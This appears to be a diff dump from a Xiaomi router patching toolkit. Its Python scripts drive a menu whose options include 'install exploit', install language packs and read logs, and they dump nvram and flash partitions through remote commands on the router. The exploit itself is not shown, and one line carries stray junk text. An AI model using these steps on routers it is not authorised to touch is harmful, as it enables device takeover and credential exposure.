kernel_size = int.from_bytes(data[pos:pos+4], byteorder='big')
kernel_size += 0x40
if (kernel_size > len(data) - 1024):
die("initramfs прошивки не поддерживаются!")
rootfs_offset = data.find(b'UBI#', kernel_size)
if (rootfs_offset <= 0):
die("В прошивке не найден раздел rootfs!")
#if (rootfs_offset < 4*1024*1024):
# kernel_size = rootfs_offset
kernel_data = data[:kernel_size]
with open(fn_kernel, "wb") as file:
file.write(kernel_data)
with open(fn_rootfs, "wb") as file:
file.write(data[rootfs_offset:])
sys.exit(0) hhjhjhhjhj
print("Загружаем: " + fn_local)
gw.upload(fn_local, fn_remote)
for filename in [fn for fn in os.listdir(fn_dir) if fn.split(".")[-1] in ['lmo']]:
print("Загружаем: " + filename)
gw.upload(fn_dir + '/' + filename, '/tmp/' + filename)
print("Загрузка файлов завершена")
print ("Настраиваем...")
gw.run_cmd("sh " + fn_remote)
print("Готово! Языковые файлы установлены.")

@ -0,0 +1,49 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import die
gw = gateway.Gateway()
fn_dir = 'data/'
fn_local = 'data/lang_patch.sh'
fn_remote = '/tmp/lang_patch.sh'
fn_local_i = 'data/lang_install.sh'
fn_remote_i = '/tmp/lang_install.sh'
fn_local_u = 'data/lang_uninstall.sh'
fn_remote_u = '/tmp/lang_uninstall.sh'
action = 'install'
if len(sys.argv) > 1:
if sys.argv[1].startswith('u') or sys.argv[1].startswith('r'):
action = 'uninstall'
if action == 'install':
gw.upload(fn_local, fn_remote)
gw.upload(fn_local_i, fn_remote_i)
gw.upload(fn_local_u, fn_remote_u)
if action == 'install':
for filename in [fn for fn in os.listdir(fn_dir) if fn.split(".")[-1] in ['lmo']]:
gw.upload(fn_dir + filename, '/tmp/' + filename)
print("All files uploaded!")
print("Run scripts...")
if action == 'install':
gw.run_cmd("sh " + fn_remote_i)
else:
gw.run_cmd("sh " + fn_remote_u)
gw.run_cmd("rm -f " + fn_remote)
gw.run_cmd("rm -f " + fn_remote_i)
gw.run_cmd("rm -f " + fn_remote_u)
print("Ready! The language files are installed.")

@ -0,0 +1,125 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import subprocess
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import die
gw = gateway.Gateway(detect_device = False)
def get_header(delim, suffix = ''):
header = delim*58 + '\n'
header += '\n'
header += 'Xiaomi MiR Patcher {} \n'.format(suffix)
header += '\n'
return header
def menu1_show():
gw.load_config()
print(get_header('='))
print(' 1 - Set IP-address (current value: {})'.format(gw.ip_addr))
print(' 2 - Connect to device (install exploit)')
print(' 3 - Read full device info')
print(' 4 - Create full backup')
print(' 5 - Install EN/RU languages')
print(' 6 - Install Breed bootloader')
print(' 7 - Install firmware (from directory "firmware")')
print(' 8 - {{{ Other functions }}}')
print(' 9 - [[ Reboot device ]]')
print(' 0 - Exit')
def menu1_process(id):
if id == 1:
ip_addr = input("Enter device IP-address: ")
return [ "gateway.py", ip_addr ]
if id == 2: return "connect.py"
if id == 3: return "read_info.py"
if id == 4: return "create_backup.py"
if id == 5: return "install_lang.py"
if id == 6: return "install_breed.py"
if id == 7: return "install_fw.py"
if id == 8: return "__menu2"
if id == 9: return "reboot.py"
if id == 0: sys.exit(0)
return None
def menu2_show():
print(get_header('-', '(extended functions)'))
print(' 1 - Set default device IP-address')
print(' 2 - Read dmesg and syslog')
print(' 3 - ')
print(' 4 - Create a backup of the specified partition')
print(' 5 - Uninstall EN/RU languages')
print(' 6 - Set kernel boot address')
print(' 7 - ')
print(' 8 - __test__')
print(' 9 - [[ Reboot device ]]')
print(' 0 - Return to main menu')
def menu2_process(id):
if id == 1: return "set_def_ipaddr.by"
if id == 2: return "read_dmesg.py"
if id == 3: return None
if id == 4: return [ "create_backup.py", "part" ]
if id == 5: return [ "install_lang.py", "uninstall" ]
if id == 6: return "activate_boot.py"
if id == 7: return None
if id == 8: return "test.py"
if id == 9: return "reboot.py"
if id == 0: return "__menu1"
return None
def menu_show(level):
if level == 1:
menu1_show()
return 'Select: '
else:
menu2_show()
return 'Choice: '
def menu_process(level, id):
if level == 1:
return menu1_process(id)
else:
return menu2_process(id)
def menu():
level = 1
while True:
print('')
prompt = menu_show(level)
print('')
select = input(prompt)
print('')
if not select:
continue
try:
id = int(select)
except Exception:
id = -1
if id < 0:
continue
cmd = menu_process(level, id)
if not cmd:
continue
if cmd == '__menu1':
level = 1
continue
if cmd == '__menu2':
level = 2
continue
#print("cmd2 =", cmd)
if isinstance(cmd, str):
result = subprocess.run([sys.executable, cmd])
else:
result = subprocess.run([sys.executable] + cmd)
menu()

@ -0,0 +1,254 @@
A. HISTORY OF THE SOFTWARE
==========================
Python was created in the early 1990s by Guido van Rossum at Stichting
Mathematisch Centrum (CWI, see http://www.cwi.nl) in the Netherlands
as a successor of a language called ABC. Guido remains Python's
principal author, although it includes many contributions from others.
In 1995, Guido continued his work on Python at the Corporation for
National Research Initiatives (CNRI, see http://www.cnri.reston.va.us)
in Reston, Virginia where he released several versions of the
software.
In May 2000, Guido and the Python core development team moved to
BeOpen.com to form the BeOpen PythonLabs team. In October of the same
year, the PythonLabs team moved to Digital Creations, which became
Zope Corporation. In 2001, the Python Software Foundation (PSF, see
https://www.python.org/psf/) was formed, a non-profit organization
created specifically to own Python-related Intellectual Property.
Zope Corporation was a sponsoring member of the PSF.
All Python releases are Open Source (see http://www.opensource.org for
the Open Source Definition). Historically, most, but not all, Python
releases have also been GPL-compatible; the table below summarizes
the various releases.
Release Derived Year Owner GPL-
from compatible? (1)
0.9.0 thru 1.2 1991-1995 CWI yes
1.3 thru 1.5.2 1.2 1995-1999 CNRI yes
1.6 1.5.2 2000 CNRI no
2.0 1.6 2000 BeOpen.com no
1.6.1 1.6 2001 CNRI yes (2)
2.1 2.0+1.6.1 2001 PSF no
2.0.1 2.0+1.6.1 2001 PSF yes
2.1.1 2.1+2.0.1 2001 PSF yes
2.1.2 2.1.1 2002 PSF yes
2.1.3 2.1.2 2002 PSF yes
2.2 and above 2.1.1 2001-now PSF yes
Footnotes:
(1) GPL-compatible doesn't mean that we're distributing Python under
the GPL. All Python licenses, unlike the GPL, let you distribute
a modified version without making your changes open source. The
GPL-compatible licenses make it possible to combine Python with
other software that is released under the GPL; the others don't.
(2) According to Richard Stallman, 1.6.1 is not GPL-compatible,
because its license has a choice of law clause. According to
CNRI, however, Stallman's lawyer has told CNRI's lawyer that 1.6.1
is "not incompatible" with the GPL.
Thanks to the many outside volunteers who have worked under Guido's
direction to make these releases possible.
B. TERMS AND CONDITIONS FOR ACCESSING OR OTHERWISE USING PYTHON
===============================================================
PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
--------------------------------------------
1. This LICENSE AGREEMENT is between the Python Software Foundation
("PSF"), and the Individual or Organization ("Licensee") accessing and
otherwise using this software ("Python") in source or binary form and
its associated documentation.
2. Subject to the terms and conditions of this License Agreement, PSF hereby
grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce,
analyze, test, perform and/or display publicly, prepare derivative works,
distribute, and otherwise use Python alone or in any derivative version,
provided, however, that PSF's License Agreement and PSF's notice of copyright,
i.e., "Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010,
2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Python Software Foundation;
All Rights Reserved" are retained in Python alone or in any derivative version
prepared by Licensee.
3. In the event Licensee prepares a derivative work that is based on
or incorporates Python or any part thereof, and wants to make
the derivative work available to others as provided herein, then
Licensee hereby agrees to include in any such work a brief summary of
the changes made to Python.
4. PSF is making Python available to Licensee on an "AS IS"
basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
INFRINGE ANY THIRD PARTY RIGHTS.
5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
6. This License Agreement will automatically terminate upon a material
breach of its terms and conditions.
7. Nothing in this License Agreement shall be deemed to create any
relationship of agency, partnership, or joint venture between PSF and
Licensee. This License Agreement does not grant permission to use PSF
trademarks or trade name in a trademark sense to endorse or promote
products or services of Licensee, or any third party.
8. By copying, installing or otherwise using Python, Licensee
agrees to be bound by the terms and conditions of this License
Agreement.
BEOPEN.COM LICENSE AGREEMENT FOR PYTHON 2.0
-------------------------------------------
BEOPEN PYTHON OPEN SOURCE LICENSE AGREEMENT VERSION 1
1. This LICENSE AGREEMENT is between BeOpen.com ("BeOpen"), having an
office at 160 Saratoga Avenue, Santa Clara, CA 95051, and the
Individual or Organization ("Licensee") accessing and otherwise using
this software in source or binary form and its associated
documentation ("the Software").
2. Subject to the terms and conditions of this BeOpen Python License
Agreement, BeOpen hereby grants Licensee a non-exclusive,
royalty-free, world-wide license to reproduce, analyze, test, perform
and/or display publicly, prepare derivative works, distribute, and
otherwise use the Software alone or in any derivative version,
provided, however, that the BeOpen Python License is retained in the
Software, alone or in any derivative version prepared by Licensee.
3. BeOpen is making the Software available to Licensee on an "AS IS"
basis. BEOPEN MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, BEOPEN MAKES NO AND
DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT
INFRINGE ANY THIRD PARTY RIGHTS.
4. BEOPEN SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE
SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS
AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY
DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
5. This License Agreement will automatically terminate upon a material
breach of its terms and conditions.
6. This License Agreement shall be governed by and interpreted in all
respects by the law of the State of California, excluding conflict of
law provisions. Nothing in this License Agreement shall be deemed to
create any relationship of agency, partnership, or joint venture
between BeOpen and Licensee. This License Agreement does not grant
permission to use BeOpen trademarks or trade names in a trademark
sense to endorse or promote products or services of Licensee, or any
third party. As an exception, the "BeOpen Python" logos available at
http://www.pythonlabs.com/logos.html may be used according to the
permissions granted on that web page.
7. By copying, installing or otherwise using the software, Licensee
agrees to be bound by the terms and conditions of this License
Agreement.
CNRI LICENSE AGREEMENT FOR PYTHON 1.6.1
---------------------------------------
1. This LICENSE AGREEMENT is between the Corporation for National
Research Initiatives, having an office at 1895 Preston White Drive,
Reston, VA 20191 ("CNRI"), and the Individual or Organization
("Licensee") accessing and otherwise using Python 1.6.1 software in
source or binary form and its associated documentation.
2. Subject to the terms and conditions of this License Agreement, CNRI
hereby grants Licensee a nonexclusive, royalty-free, world-wide
license to reproduce, analyze, test, perform and/or display publicly,
prepare derivative works, distribute, and otherwise use Python 1.6.1
alone or in any derivative version, provided, however, that CNRI's
License Agreement and CNRI's notice of copyright, i.e., "Copyright (c)
1995-2001 Corporation for National Research Initiatives; All Rights
Reserved" are retained in Python 1.6.1 alone or in any derivative
version prepared by Licensee. Alternately, in lieu of CNRI's License
Agreement, Licensee may substitute the following text (omitting the
quotes): "Python 1.6.1 is made available subject to the terms and
conditions in CNRI's License Agreement. This Agreement together with
Python 1.6.1 may be located on the Internet using the following
unique, persistent identifier (known as a handle): 1895.22/1013. This
Agreement may also be obtained from a proxy server on the Internet
using the following URL: http://hdl.handle.net/1895.22/1013".
3. In the event Licensee prepares a derivative work that is based on
or incorporates Python 1.6.1 or any part thereof, and wants to make
the derivative work available to others as provided herein, then
Licensee hereby agrees to include in any such work a brief summary of
the changes made to Python 1.6.1.
4. CNRI is making Python 1.6.1 available to Licensee on an "AS IS"
basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND
DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6.1 WILL NOT
INFRINGE ANY THIRD PARTY RIGHTS.
5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
1.6.1 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 1.6.1,
OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
6. This License Agreement will automatically terminate upon a material
breach of its terms and conditions.
7. This License Agreement shall be governed by the federal
intellectual property law of the United States, including without
limitation the federal copyright law, and, to the extent such
U.S. federal law does not apply, by the law of the Commonwealth of
Virginia, excluding Virginia's conflict of law provisions.
Notwithstanding the foregoing, with regard to derivative works based
on Python 1.6.1 that incorporate non-separable material that was
previously distributed under the GNU General Public License (GPL), the
law of the Commonwealth of Virginia shall govern this License
Agreement only as to issues arising under or with respect to
Paragraphs 4, 5, and 7 of this License Agreement. Nothing in this
License Agreement shall be deemed to create any relationship of
agency, partnership, or joint venture between CNRI and Licensee. This
License Agreement does not grant permission to use CNRI trademarks or
trade name in a trademark sense to endorse or promote products or
services of Licensee, or any third party.
8. By clicking on the "ACCEPT" button where indicated, or by copying,
installing or otherwise using Python 1.6.1, Licensee agrees to be
bound by the terms and conditions of this License Agreement.
ACCEPT
CWI LICENSE AGREEMENT FOR PYTHON 0.9.0 THROUGH 1.2
--------------------------------------------------
Copyright (c) 1991 - 1995, Stichting Mathematisch Centrum Amsterdam,
The Netherlands. All rights reserved.
Permission to use, copy, modify, and distribute this software and its
documentation for any purpose and without fee is hereby granted,
provided that the above copyright notice appear in all copies and that
both that copyright notice and this permission notice appear in
supporting documentation, and that the name of Stichting Mathematisch
Centrum or CWI not be used in advertising or publicity pertaining to
distribution of the software without specific, written prior
permission.
STICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO
THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE
FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

@ -0,0 +1,5 @@
python37.zip
.
# Uncomment to run site.main() automatically
#import site

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

@ -0,0 +1,56 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import platform
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import die
gw = gateway.Gateway()
fn_old = 'outdir/dmesg_old.txt'
fn_local = 'outdir/dmesg.txt'
fn_remote = '/tmp/dmesg.txt'
if os.path.exists(fn_local):
if os.path.exists(fn_old):
os.remove(fn_old)
os.rename(fn_local, fn_old)
print("Send command...")
gw.run_cmd("dmesg > " + fn_remote)
print("File {} created!".format(fn_remote))
print("Downloading data to a computer...")
gw.download(fn_remote, fn_local)
#print("Удаляю временные файлы")
gw.run_cmd("rm -f " + fn_remote)
with open(fn_local, "r") as file:
data = file.read()
with open(fn_local, "w") as file:
file.write(data)
print("Kernel logs written to file {}".format(fn_local))
fn_old = 'outdir/syslog_old.txt'
fn_local = 'outdir/syslog.txt'
fn_remote = '/tmp/syslog.txt'
if os.path.exists(fn_local):
if os.path.exists(fn_old):
os.remove(fn_old)
os.rename(fn_local, fn_old)
gw.run_cmd("cat /data/usr/log/messages > " + fn_remote)
#gw.run_cmd("cat /proc/xiaoqiang/xq_syslog > " + fn_remote)
gw.download(fn_remote, fn_local)
gw.run_cmd("rm -f " + fn_remote)
with open(fn_local, "r") as file:
data = file.read()
with open(fn_local, "w") as file:
file.write(data)
print("System logs are written to a file {}".format(fn_local))

@ -0,0 +1,671 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import re
import types
import binascii
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import die
from envbuffer import EnvBuffer
gw = gateway.Gateway()
class RootFS():
num = None # 0 / 1
dev = None # "/dev/mtd10"
mtd_name = None # "mtd10" / "mtd11"
partition = None # "rootfs0" / "rootfs1"
class Bootloader():
type = None # 'uboot' / 'breed' / 'pandora'
img = None
img_size = None
addr = None
spi_rom = False
class BaseInfo():
linux_ver = None
cpu_arch = None
cpu_name = None
spi_rom = False
class Version():
openwrt = None # '12.09.1'
fw = None
channel = None # 'release' / 'stable'
buildtime = None
hardware = None # 'R3G'
uboot1 = None # '4.2.S.1'
uboot2 = None
class DevInfo():
verbose = 0
dmesg = None # text
info = BaseInfo()
partlist = [] # list of {addr, size, name}
kcmdline = {} # key=value
nvram = {} # key=value
rootfs = RootFS()
board_name = None
model = None
ver = Version()
bl = Bootloader() # first bootloader
bl_list = [] # list of Bootloaders
env_list = [] # list of EnvBuffer
env = types.SimpleNamespace()
env.fw = EnvBuffer()
env.breed = EnvBuffer()
env.bdata = EnvBuffer()
def __init__(self, verbose = 0, infolevel = 1):
self.verbose = verbose
os.makedirs('outdir', exist_ok = True)
os.makedirs('tmp', exist_ok = True)
if infolevel > 0:
self.update(infolevel)
def update(self, infolevel):
if infolevel >= 1:
self.get_dmesg()
self.get_part_table()
if not self.partlist or len(self.partlist) <= 1:
die("Partition list is empty!")
self.get_rootfs()
self.get_baseinfo()
if not self.info.cpu_arch:
die("Can't detect CPU arch!")
if infolevel >= 2:
self.get_ver()
if infolevel >= 3:
self.get_kernel_cmdline()
self.get_nvram()
if infolevel >= 4:
self.get_bootloader()
if infolevel >= 5:
self.get_env_list()
def get_dmesg(self, verbose = None):
verbose = verbose if verbose is not None else self.verbose
self.dmesg = None
fn_local = 'outdir/dmesg.log'
fn_remote = '/tmp/dmesg.log'
try:
gw.run_cmd("dmesg > " + fn_remote)
gw.download(fn_remote, fn_local)
gw.run_cmd("rm -f " + fn_remote)
except Exception:
return self.kcmdline
if not os.path.exists(fn_local):
return None
if os.path.getsize(fn_local) <= 1:
return None
with open(fn_local, "r") as file:
self.dmesg = file.read()
return self.dmesg
def get_part_table(self, verbose = None):
verbose = verbose if verbose is not None else self.verbose
self.partlist = []
if not self.dmesg:
return self.partlist
x = self.dmesg.find(" MTD partitions on ")
if x <= 0:
return self.partlist
parttbl = re.findall(r'0x0000(.*?)-0x0000(.*?) : "(.*?)"', self.dmesg)
if len(parttbl) <= 0:
return self.partlist
if verbose:
print("MTD partitions:")
for i, part in enumerate(parttbl):
addr = int(part[0], 16)
size = int(part[1], 16) - addr
name = part[2]
self.partlist.append({'addr': addr, 'size': size, 'name': name})
if verbose:
print(' %2d > addr: 0x%08X size: 0x%08X name: "%s"' % (i, addr, size, name))
if verbose:
print(" ")
return self.partlist
def get_part_num(self, name_or_addr, comptype = None):
if not self.partlist:
return -2
for i, part in enumerate(self.partlist):
if isinstance(name_or_addr, int):
if part['addr'] == 0 and part['size'] > 0x00800000:
continue # skip "ALL" part
addr = name_or_addr
if addr >= part['addr'] and addr < part['addr'] + part['size']:
return i
else:
if comptype and comptype[0] == 'e':
if part['name'].lower().endswith(name_or_addr.lower()):
return i
if part['name'].lower() == name_or_addr.lower():
return i
return -1
def get_part_list(self, name_or_addr_list, comptype = None):
if not self.partlist:
return None
lst = []
for i, val in enumerate(name_or_addr_list):
p = self.get_part_num(val, comptype)
if p >= 0:
lst.append(p)
return lst
def get_rootfs(self, verbose = None):
verbose = verbose if verbose is not None else self.verbose
self.rootfs = RootFS()
if not self.dmesg:
return self.rootfs
if verbose:
print('RootFS info:')
# flag_boot_rootfs=0 mounting /dev/mtd10
res = re.findall(r'flag_boot_rootfs=(.*?) mounting (.*?)\n', self.dmesg)
if len(res) > 0:
res = res[0]
if verbose:
print(' num = {}'.format(res[0]))
print(' dev = "{}"'.format(res[1]))
self.rootfs.num = int(res[0]) if res[0] else None
self.rootfs.dev = res[1]
# UBI: attached mtd10 (name "rootfs0", size 32 MiB) to ubi0
res = re.findall(r'attached (.*?) \(name "(.*?)", size', self.dmesg)
if len(res) > 0:
res = res[0]
self.rootfs.mtd_name = res[0]
self.rootfs.partition = res[1]
if verbose:
print(' mtd_name = {}'.format(res[0]))
print(' partition = "{}"'.format(res[1]))
if verbose:
print(" ")
return self.rootfs
def get_baseinfo(self, verbose = None):
verbose = verbose if verbose is not None else self.verbose
self.info = BaseInfo()
ret = self.info
if not self.dmesg:
return ret
if verbose:
print('Base info:')
# Linux version 3.10.14 (jenkins@cefa8cf504dc) (gcc version 4.8.5 (crosstool-NG crosstool-ng-1.22.0) )
x = re.search(r'Linux version (.*?) ', self.dmesg)
ret.linux_ver = x.group(1).strip() if x else None
if verbose:
print(' Linux version: {}'.format(ret.linux_ver))
# MIPS secondary cache 256kB, 8-way, linesize 32 bytes.
x = re.search(r'MIPS secondary cache (.*?) linesize ', self.dmesg)
if x:
ret.cpu_arch = 'mips'
# CPU: ARMv7 Processor [512f04d0] revision 0 (ARMv7), cr=10c5387d
x = re.search(r'CPU: ARMv7 Processor(.*?)revision ', self.dmesg)
if x:
ret.cpu_arch = 'armv7'
if verbose:
print(' CPU arch: {}'.format(ret.cpu_arch))
# start MT7621 PCIe register access
x = re.search(r'start (.*?) PCIe register access', self.dmesg)
if x:
ret.cpu_name = x.group(1).strip().lower() if x else None
x = self.dmesg.find("acpuclk-ipq806x acpuclk-ipq806x: ")
if x > 0:
ret.cpu_name = 'ipq806x'
if verbose:
print(' CPU name: {}'.format(ret.cpu_name))
# spi-mt7621 1e000b00.spi: sys_freq: 50000000
x = re.search(r'spi-mt(.*?) (.*?).spi: sys_freq: ', self.dmesg)
if x:
ret.spi_rom = True
if verbose:
print(' SPI rom: {}'.format(ret.spi_rom))
if verbose:
print(" ")
return ret
def get_kernel_cmdline(self, verbose = None, retdict = True):
verbose = verbose if verbose is not None else self.verbose
self.kcmdline = {} if retdict else None
fn_local = 'outdir/kcmdline.log'
fn_remote = '/tmp/kcmdline.log'
try:
gw.run_cmd("cat /proc/cmdline > " + fn_remote)
gw.download(fn_remote, fn_local)
gw.run_cmd("rm -f " + fn_remote)
except Exception:
return self.kcmdline
if not os.path.exists(fn_local):
return self.kcmdline
if os.path.getsize(fn_local) <= 1:
return self.kcmdline
with open(fn_local, "r") as file:
data = file.read()
if verbose:
print("Kernel command line:")
print(" ", data)
if not retdict:
return data
data = data.replace("\n", ' ')
env = EnvBuffer(data, ' ', crc_prefix = False, encoding = 'ascii')
self.kcmdline = env.var
#self.kcmdline = type("Names", [object], self.kcmdline)
return self.kcmdline
def get_nvram(self, verbose = None, retdict = True):
verbose = verbose if verbose is not None else self.verbose
self.nvram = {} if retdict else None
fn_local = 'outdir/nvram.txt'
fn_remote = '/tmp/nvram.txt'
try:
gw.run_cmd("nvram show > " + fn_remote)
gw.download(fn_remote, fn_local)
gw.run_cmd("rm -f " + fn_remote)
except Exception:
return self.nvram
if not os.path.exists(fn_local):
return self.nvram
if os.path.getsize(fn_local) <= 1:
return self.nvram
with open(fn_local, "r") as file:
data = file.read()
if not retdict:
return data
if verbose:
print("NVRam params:")
env = EnvBuffer(data, '\n', crc_prefix = False, encoding = 'ascii')
self.nvram = env.var
if verbose and self.nvram:
for i, (k, v) in enumerate(self.nvram.items()):
if verbose == 1 and not k.startswith('flag_') and k != 'ipaddr' and k != 'serverip':
continue
print(" {key}{value}".format(key=k, value=('=' + v if v is not None else '')))
if verbose:
print(" ")
#self.nvram = type("Names", [object], self.nvram)
return self.nvram
def get_board_name(self, verbose = None):
verbose = verbose if verbose is not None else self.verbose
self.board_name = None
fn_local = 'outdir/board_name.txt'
fn_remote = '/tmp/sysinfo/board_name'
gw.download(fn_remote, fn_local)
if os.path.getsize(fn_local) <= 0:
return None
with open(fn_local, "r") as file:
self.board_name = file.read()
self.board_name = self.board_name.strip()
if verbose:
print("Board name: {}".format(self.board_name))
print("")
return self.board_name
def get_model(self, verbose = None):
verbose = verbose if verbose is not None else self.verbose
self.model = None
fn_local = 'outdir/model.txt'
fn_remote = '/tmp/sysinfo/model'
gw.download(fn_remote, fn_local)
if os.path.getsize(fn_local) <= 0:
return None
with open(fn_local, "r") as file:
self.model = file.read()
self.model = self.model.strip()
if verbose:
print("Model: {}".format(self.model))
print("")
return self.model
def get_ver(self, verbose = None):
verbose = verbose if verbose is not None else self.verbose
self.ver = Version()
if verbose:
print("Version info:")
fn_local = 'outdir/uboot_version.txt'
fn_remote = '/etc/uboot_version'
try:
gw.download(fn_remote, fn_local, verbose = 0)
with open(fn_local, "r") as file:
self.ver.uboot1 = file.read().strip()
except Exception:
pass
if verbose:
print(" UBoot: {}".format(self.ver.uboot1))
fn_local = 'outdir/openwrt_version.txt'
fn_remote = '/etc/openwrt_version'
try:
gw.download(fn_remote, fn_local, verbose = 0)
with open(fn_local, "r") as file:
self.ver.openwrt = file.read().strip()
except Exception:
pass
if verbose:
print(" OpenWrt: {}".format(self.ver.openwrt))
fn_local = 'outdir/fw_ver.txt'
fn_remote = '/etc/xiaoqiang_version'
try:
gw.download(fn_remote, fn_local, verbose = 0)
except Exception:
fn_remote = None
if not fn_remote:
fn_remote = '/usr/share/xiaoqiang/xiaoqiang_version'
try:
gw.download(fn_remote, fn_local, verbose = 0)
except Exception:
fn_remote = None
if fn_remote and os.path.getsize(fn_local) > 0:
with open(fn_local, "r") as file:
s = file.read()
x = re.search(r"option ROM '(.*?)'", s)
self.ver.fw = x.group(1) if x else None
x = re.search(r"option CHANNEL '(.*?)'", s)
self.ver.channel = x.group(1) if x else None
x = re.search(r"option HARDWARE '(.*?)'", s)
self.ver.hardware = x.group(1) if x else None
x = re.search(r"option UBOOT '(.*?)'", s)
self.ver.uboot2 = x.group(1) if x else None
x = re.search(r"option BUILDTIME '(.*?)'", s)
self.ver.buildtime = x.group(1) if x else None
if verbose:
print(" Firmware: {}".format(self.ver.fw))
print(" Channel: {}".format(self.ver.channel))
print(" BuildTime: {}".format(self.ver.buildtime))
print(" Hardware: {}".format(self.ver.hardware))
print(" UBoot(2): {}".format(self.ver.uboot2))
print("")
return self.ver
def get_bootloader(self, verbose = None):
verbose = verbose if verbose is not None else self.verbose
self.bl = Bootloader()
self.bl_list = []
ret = self.bl
if verbose:
print("Bootloader info:")
plst = self.get_part_list(['bootloader', 'SBL1', 'APPSBL', 'SBL2', 'SBL3'], comptype = 'ends')
if not plst:
return ret
for i, p in enumerate(plst):
bl = Bootloader()
bl.addr = self.partlist[p]['addr']
size = self.partlist[p]['size']
name = self.partlist[p]['name']
name = ''.join(e for e in name if e.isalnum())
fn_local = 'outdir/mtd{id}_{name}.bin'.format(id=p, name=name)
fn_remote = '/tmp/bl_{name}.bin'.format(name=name)
bs = 128*1024
cnt = size // bs
try:
gw.run_cmd("dd if=/dev/mtd{i} of={o} bs={bs} count={cnt}".format(i=p, o=fn_remote, bs=bs, cnt=cnt))
gw.download(fn_remote, fn_local)
gw.run_cmd("rm -f " + fn_remote)
except Exception:
continue
if verbose:
print(" addr: 0x%08X (size: 0x%08X)" % (bl.addr, self.partlist[p]['size']))
if not os.path.exists(fn_local):
continue
if os.path.getsize(fn_local) <= 1:
continue
with open(fn_local, "rb") as file:
data = file.read()
bl.img = data
self.bl_list.append(bl)
if data[0:4] == b'\x27\x05\x19\x56':
bl.img_size = 0x40 + int.from_bytes(data[0x0C:0x0C+4], byteorder='big')
else:
if self.info.cpu_arch == 'mips':
bl.spi_rom = True
if bl.img_size is None:
x = data.find(b'\x00' * 0x240)
if x > 0:
bl.img_size = x
x = data.find(b'\xFF' * 0x240)
if x > 0 and x < (bl.img_size if bl.img_size is not None else len(data)):
bl.img_size = x
max_size = bl.img_size if bl.img_size is not None else len(data)
if verbose:
print(" image size: {} bytes".format(bl.img_size))
#if not bl.type:
# x = data.find(b"Breed ")
# if (x > 0 and x < 0x40):
# bl.type = 'breed'
if not bl.type:
x = data.find(b'hackpascal@gmail.com')
if x > 0 and x < max_size:
bl.type = 'breed'
if not bl.type:
x = data.find(b"PandoraBox-Boot")
if x > 0 and x < max_size:
bl.type = 'pandora'
if not bl.type:
x = data.find(b"UBoot Version")
if x > 0 and x < max_size:
bl.type = 'uboot'
if verbose:
print(" type: {}".format(bl.type))
if self.bl_list:
self.bl = self.bl_list[0]
if verbose:
print("")
return self.bl
def get_env_list(self, verbose = None):
verbose = verbose if verbose is not None else self.verbose
self.env.fw = EnvBuffer()
self.env.breed = EnvBuffer()
